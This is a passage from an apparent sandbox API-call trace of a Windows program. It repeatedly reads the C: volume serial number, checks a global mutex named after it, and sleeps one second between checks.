bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x2d4 [0087.955] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0x0) returned 0x102 [0087.956] CloseHandle (hObject=0x2d4) returned 1 [0087.956] GetProcessHeap () returned 0x330000 [0087.956] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x35ec78 | out: hHeap=0x330000) returned 1 [0087.956] GetProcessHeap () returned 0x330000 [0087.956] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33a310 | out: hHeap=0x330000) returned 1 [0087.956] Sleep (dwMilliseconds=0x3e8) [0091.221] GetProcessHeap () returned 0x330000 [0091.221] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20) returned 0x3678f8 [0091.222] GetProcessHeap () returned 0x330000 [0091.222] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1e) returned 0x3676c8 [0091.222] GetProcessHeap () returned 0x330000 [0091.222] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1e) returned 0x367628 [0091.222] GetProcessHeap () returned 0x330000 [0091.222] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33ace8 [0091.222] GetProcessHeap () returned 0x330000 [0091.222] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33ace8 | out: hHeap=0x330000) returned 1 [0091.222] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x3676c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0091.222] GetProcessHeap () returned 0x330000 [0091.222] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x367628 | out: hHeap=0x330000) returned 1 [0091.222] GetProcessHeap () returned 0x330000 [0091.222] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3678f8 | out: hHeap=0x330000) returned 1 [0091.222] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x283fed0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x283fed0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0091.223] GetProcessHeap () returned 0x330000 [0091.223] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3676c8 | out: hHeap=0x330000) returned 1 [0091.223] GetProcessHeap () returned 0x330000 [0091.223] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x40) returned 0x35f1d0 [0091.224] GetProcessHeap () returned 0x330000 [0091.224] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3a) returned 0x35f020 [0091.224] GetProcessHeap () returned 0x330000 [0091.224] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x35f020, Size=0x72) returned 0x33a310 [0091.224] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x2d4 [0091.224] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0x0) returned 0x102 [0091.224] CloseHandle (hObject=0x2d4) returned 1 [0091.224] GetProcessHeap () returned 0x330000 [0091.224] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x35f1d0 | out: hHeap=0x330000) returned 1 [0091.224] GetProcessHeap () returned 0x330000 [0091.224] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33a310 | out: hHeap=0x330000) returned 1 [0091.224] Sleep (dwMilliseconds=0x3e8) [0092.588] GetProcessHeap () returned 0x330000 [0092.588] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20) returned 0x367510 [0092.588] GetProcessHeap () returned 0x330000 [0092.588] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1e) returned 0x3676f0 [0092.588] GetProcessHeap () returned 0x330000 [0092.589] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1e) returned 0x367628 [0092.589] GetProcessHeap () returned 0x330000 [0092.589] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33ace8 [0092.589] GetProcessHeap () returned 0x330000 [0092.589] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33ace8 | out: hHeap=0x330000) returned 1 [0092.589] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x3676f0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0092.589] GetProcessHeap () returned 0x330000 [0092.589] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x367628 | out: hHeap=0x330000) returned 1 [0092.589] GetProcessHeap () returned 0x330000 [0092.589] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x367510 | out: hHeap=0x330000) returned 1 [0092.589] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x283fed0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x283fed0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0092.590] GetProcessHeap () returned 0x330000 [0092.590] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3676f0 | out: hHeap=0x330000) returned 1 [0092.590] GetProcessHeap () returned 0x330000 [0092.590] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x40) returned 0x35f188 [0092.590] GetProcessHeap () returned 0x330000 [0092.590] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3a) returned 0x35f410 [0092.590] GetProcessHeap () returned 0x330000 [0092.590] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x35f410, Size=0x72) returned 0x33a310 [0092.590] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x2d4 [0092.590] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0x0) returned 0x102 [0092.590] CloseHandle (hObject=0x2d4) returned 1 [0092.591] GetProcessHeap () returned 0x330000 [0092.591] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x35f188 | out: hHeap=0x330000) returned 1 [0092.591] GetProcessHeap () returned 0x330000 [0092.591] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33a310 | out: hHeap=0x330000) returned 1 [0092.591] Sleep (dwMilliseconds=0x3e8) [0094.976] GetProcessHeap () returned 0x330000 [0094.976] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20) returned 0x367880 [0094.976] GetProcessHeap () returned 0x330000 [0094.976] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1e) returned 0x367808 [0094.976] GetProcessHeap () returned 0x330000 [0094.976] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1e) returned 0x3677b8 [0094.976] GetProcessHeap () returned 0x330000 [0094.976] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33ace8 [0094.976] GetProcessHeap () returned 0x330000 [0094.976] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33ace8 | out: hHeap=0x330000) returned 1 [0094.976] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x367808, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0094.976] GetProcessHeap () returned 0x330000 [0094.976] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3677b8 | out: hHeap=0x330000) returned 1 [0094.976] GetProcessHeap () returned 0x330000 [0094.976] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x367880 | out: hHeap=0x330000) returned 1 [0094.976] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x283fed0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x283fed0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0094.977] GetProcessHeap () returned 0x330000 [0094.977] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x367808 | out: hHeap=0x330000) returned 1 [0094.977] GetProcessHeap () returned 0x330000 [0094.977] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x40) returned 0x35f800 [0094.977] GetProcessHeap () returned 0x330000 [0094.977] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3a) returned 0x35fb18 [0094.977] GetProcessHeap () returned 0x330000 [0094.977] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x35fb18, Size=0x72) returned 0x33a310 [0094.977] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x2d4 [0094.977] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0x0) returned 0x102 [0094.977] CloseHandle (hObject=0x2d4) returned 1 [0094.977] GetProcessHeap () returned 0x330000 [0094.977] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x35f800 | out: hHeap=0x330000) returned 1 [0094.977] GetProcessHeap () returned 0x330000 [0094.977] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33a310 | out: hHeap=0x330000) returned 1 [0094.978] Sleep (dwMilliseconds=0x3e8) [0096.502] GetProcessHeap () returned 0x330000 [0096.502] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20) returned 0x3676c8 [0096.502] GetProcessHeap () returned 0x330000 [0096.502] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1e) returned 0x367718 [0096.502] GetProcessHeap () returned 0x330000 [0096.502] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1e) returned 0x3678a8 [0096.503] GetProcessHeap () returned 0x330000 [0096.503] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33ace8 [0096.503] GetProcessHeap () returned 0x330000 [0096.503] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33ace8 | out: hHeap=0x330000) returned 1 [0096.503] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x367718, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0096.503] GetProcessHeap () returned 0x330000 [0096.503] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3678a8 | out: hHeap=0x330000) returned 1 [0096.503] GetProcessHeap () returned 0x330000 [0096.503] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3676c8 | out: hHeap=0x330000) returned 1 [0096.503] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x283fed0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x283fed0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0096.503] GetProcessHeap () returned 0x330000 [0096.503] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x367718 | out: hHeap=0x330000) returned 1 [0096.504] GetProcessHeap () returned 0x330000 [0096.504] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x40) returned 0x35f8d8 [0096.504] GetProcessHeap () returned 0x330000 [0096.504] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3a) returned 0x35f9b0 [0096.504] GetProcessHeap () returned 0x330000 [0096.504] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x35f9b0, Size=0x72) returned 0x33a310 [0096.504] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x2d4 [0096.504] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0x0) returned 0x102 [0096.504] CloseHandle (hObject=0x2d4) returned 1 [0096.504] GetProcessHeap () returned 0x330000 [0096.504] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x35f8d8 | out: hHeap=0x330000) returned 1 [0096.504] GetProcessHeap () returned 0x330000 [0096.505] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33a310 | out: hHeap=0x330000) returned 1 [0096.505] Sleep (dwMilliseconds=0x3e8) [0097.788] GetProcessHeap () returned 0x330000 [0097.788] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20) returned 0x3678f8 [0097.788] GetProcessHeap () returned 0x330000 [0097.788] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1e) returned 0x367880 [0097.788] GetProcessHeap () returned 0x330000 [0097.788] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1e) returned 0x367538 [0097.788] GetProcessHeap () returned 0x330000 [0097.788] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33ace8 [0097.788] GetProcessHeap () returned 0x330000 [0097.788] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33ace8 | out: hHeap=0x330000) returned 1 [0097.788] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x367880, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0097.788] GetProcessHeap () returned 0x330000 [0097.789] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x367538 | out: hHeap=0x330000) returned 1 [0097.789] GetProcessHeap () returned 0x330000 [0097.789] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3678f8 | out: hHeap=0x330000) returned 1 [0097.789] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x283fed0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x283fed0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0097.789] GetProcessHeap () returned 0x330000 [0097.789] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x367880 | out: hHeap=0x330000) returned 1 [0097.790] GetProcessHeap () returned 0x330000 [0097.790] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x40) returned 0x35ebe8 [0097.790] GetProcessHeap () returned 0x330000 [0097.790] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3a) returned 0x35f3c8 [0097.790] GetProcessHeap () returned 0x330000 [0097.790] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x35f3c8, Size=0x72) returned 0x33a310 [0097.790] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x2d4 [0097.790] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0x0) returned 0x102 [0097.790] CloseHandle (hObject=0x2d4) returned 1 [0097.790] GetProcessHeap () returned 0x330000 [0097.790] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x35ebe8 | out: hHeap=0x330000) returned 1 [0097.790] GetProcessHeap () returned 0x330000 [0097.790] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33a310 | out: hHeap=0x330000) returned 1 [0097.790] Sleep (dwMilliseconds=0x3e8) [0100.120] GetProcessHeap () returned 0x330000 [0100.120] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20) returned 0x367808 [0100.120] GetProcessHeap () returned 0x330000 [0100.120] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1e) returned 0x3676f0 [0100.120] GetProcessHeap () returned 0x330000 [0100.121] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1e) returned 0x3676a0 [0100.121] GetProcessHeap () returned 0x330000 [0100.121] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33ace8 [0100.121] GetProcessHeap () returned 0x330000 [0100.121] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33ace8 | out: hHeap=0x330000) returned 1 [0100.121] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x3676f0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0100.121] GetProcessHeap () returned 0x330000 [0100.121] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3676a0 | out: hHeap=0x330000) returned 1 [0100.121] GetProcessHeap () returned 0x330000 [0100.121] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x367808 | out: hHeap=0x330000) returned 1 [0100.121] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x283fed0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x283fed0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0100.123] GetProcessHeap () returned 0x330000 [0100.123] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3676f0 | out: hHeap=0x330000) returned 1 [0100.123] GetProcessHeap () returned 0x330000 [0100.123] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x40) returned 0x35f4e8 [0100.123] GetProcessHeap () returned 0x330000 [0100.123] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3a) returned 0x35f9f8 [0100.123] GetProcessHeap () returned 0x330000 [0100.123] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x35f9f8, Size=0x72) returned 0x33a310 [0100.123] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x2d4 [0100.123] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0x0) returned 0x102 [0100.123] CloseHandle (hObject=0x2d4) returned 1 [0100.123] GetProcessHeap () returned 0x330000 [0100.124] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x35f4e8 | out: hHeap=0x330000) returned 1 [0100.124] GetProcessHeap () returned 0x330000 [0100.124] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33a310 | out: hHeap=0x330000) returned 1 [0100.124] Sleep (dwMilliseconds=0x3e8) [0101.271] GetProcessHeap () returned 0x330000 [0101.271] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20) returned 0x367560 [0101.271] GetProcessHeap () returned 0x330000 [0101.271] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1e) returned 0x367510 [0101.271] GetProcessHeap () returned 0x330000 [0101.271] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1e) returned 0x367718 [0101.271] GetProcessHeap () returned 0x330000 [0101.271] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33ace8 [0101.271] GetProcessHeap () returned 0x330000 [0101.271] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33ace8 | out: hHeap=0x330000) returned 1 [0101.271] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x367510, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0101.271] GetProcessHeap () returned 0x330000 [0101.271] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x367718 | out: hHeap=0x330000) returned 1 [0101.271] GetProcessHeap () returned 0x330000 [0101.271] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x367560 | out: hHeap=0x330000) returned 1 [0101.271] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x283fed0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x283fed0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0101.272] GetProcessHeap () returned 0x330000 [0101.272] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x367510 | out: hHeap=0x330000) returned 1 [0101.272] GetProcessHeap () returned 0x330000 [0101.272] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x40) returned 0x35f338 [0101.272] GetProcessHeap () returned 0x330000 [0101.272] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3a) returned 0x35ecc0 [0101.272] GetProcessHeap () returned 0x330000 [0101.272] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x35ecc0, Size=0x72) returned 0x33a310 [0101.272] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x2d4 [0101.272] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0x0) returned 0x102 [0101.272] CloseHandle (hObject=0x2d4) returned 1 [0101.272] GetProcessHeap () returned 0x330000 [0101.272] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x35f338 | out: hHeap=0x330000) returned 1 [0101.273] GetProcessHeap () returned 0x330000 [0101.273] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33a310 | out: hHeap=0x330000) returned 1 [0101.273] Sleep (dwMilliseconds=0x3e8) [0102.714] GetProcessHeap () returned 0x330000 [0102.714] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20) returned 0x3676c8 [0102.714] GetProcessHeap () returned 0x330000 [0102.714] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1e) returned 0x367768 [0102.714] GetProcessHeap () returned 0x330000 [0102.714] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1e) returned 0x367790 [0102.715] GetProcessHeap () returned 0x330000 [0102.715] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33ace8 [0102.715] GetProcessHeap () returned 0x330000 [0102.715] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33ace8 | out: hHeap=0x330000) returned 1 [0102.715] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x367768, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0102.715] GetProcessHeap () returned 0x330000 [0102.790] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x367790 | out: hHeap=0x330000) returned 1 [0102.791] GetProcessHeap () returned 0x330000 [0102.791] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3676c8 | out: hHeap=0x330000) returned 1 [0102.791] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x283fed0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x283fed0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0102.792] GetProcessHeap () returned 0x330000 [0102.792] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x367768 | out: hHeap=0x330000) returned 1 [0102.792] GetProcessHeap () returned 0x330000 [0102.792] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x40) returned 0x35f920 [0102.792] GetProcessHeap () returned 0x330000 [0102.792] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3a) returned 0x35f4e8 [0102.792] GetProcessHeap () returned 0x330000 [0102.792] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x35f4e8, Size=0x72) returned 0x33a310 [0102.792] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x2d4 [0102.792] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0x0) returned 0x102 [0102.792] CloseHandle (hObject=0x2d4) returned 1 [0102.793] GetProcessHeap () returned 0x330000 [0102.793] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x35f920 | out: hHeap=0x330000) returned 1 [0102.793] GetProcessHeap () returned 0x330000 [0102.793] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33a310 | out: hHeap=0x330000) returned 1 [0102.793] Sleep (dwMilliseconds=0x3e8) [0104.883] GetProcessHeap () returned 0x330000 [0104.883] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20) returned 0x367560 [0104.883] GetProcessHeap () returned 0x330000 [0104.883] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1e) returned 0x3678f8 [0104.883] GetProcessHeap () returned 0x330000 [0104.883] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1e) returned 0x367650 [0104.883] GetProcessHeap () returned 0x330000 [0104.883] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33ace8 [0104.883] GetProcessHeap () returned 0x330000 [0104.883] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33ace8 | out: hHeap=0x330000) returned 1 [0104.883] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x3678f8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0104.883] GetProcessHeap () returned 0x330000 [0104.883] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x367650 | out: hHeap=0x330000) returned 1 [0104.883] GetProcessHeap () returned 0x330000 [0104.883] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x367560 | out: hHeap=0x330000) returned 1 [0104.883] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x283fed0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x283fed0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0104.884] GetProcessHeap () returned 0x330000 [0104.884] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3678f8 | out: hHeap=0x330000) returned 1 [0104.884] GetProcessHeap () returned 0x330000 [0104.884] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x40) returned 0x35ef00 [0104.884] GetProcessHeap () returned 0x330000 [0104.884] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3a) returned 0x35eeb8 [0104.884] GetProcessHeap () returned 0x330000 [0104.884] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x35eeb8, Size=0x72) returned 0x33a310 [0104.884] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x2cc [0104.884] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0104.885] CloseHandle (hObject=0x2cc) returned 1 [0104.885] GetProcessHeap () returned 0x330000 [0104.885] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x35ef00 | out: hHeap=0x330000) returned 1 [0104.885] GetProcessHeap () returned 0x330000 [0104.885] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33a310 | out: hHeap=0x330000) returned 1 [0104.885] Sleep (dwMilliseconds=0x3e8) [0105.968] GetProcessHeap () returned 0x330000 [0105.968] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20) returned 0x367808 [0105.968] GetProcessHeap () returned 0x330000 [0105.968] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1e) returned 0x367740 [0105.968] GetProcessHeap () returned 0x330000 [0105.968] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1e) returned 0x367538 [0105.968] GetProcessHeap () returned 0x330000 [0105.968] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33ace8 [0105.968] GetProcessHeap () returned 0x330000 [0105.968] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33ace8 | out: hHeap=0x330000) returned 1 [0105.969] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x367740, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0105.969] GetProcessHeap () returned 0x330000 [0105.969] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x367538 | out: hHeap=0x330000) returned 1 [0105.969] GetProcessHeap () returned 0x330000 [0105.969] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x367808 | out: hHeap=0x330000) returned 1 [0105.969] GetVolumeInformationW (in: lpRootPathName="C:\\", 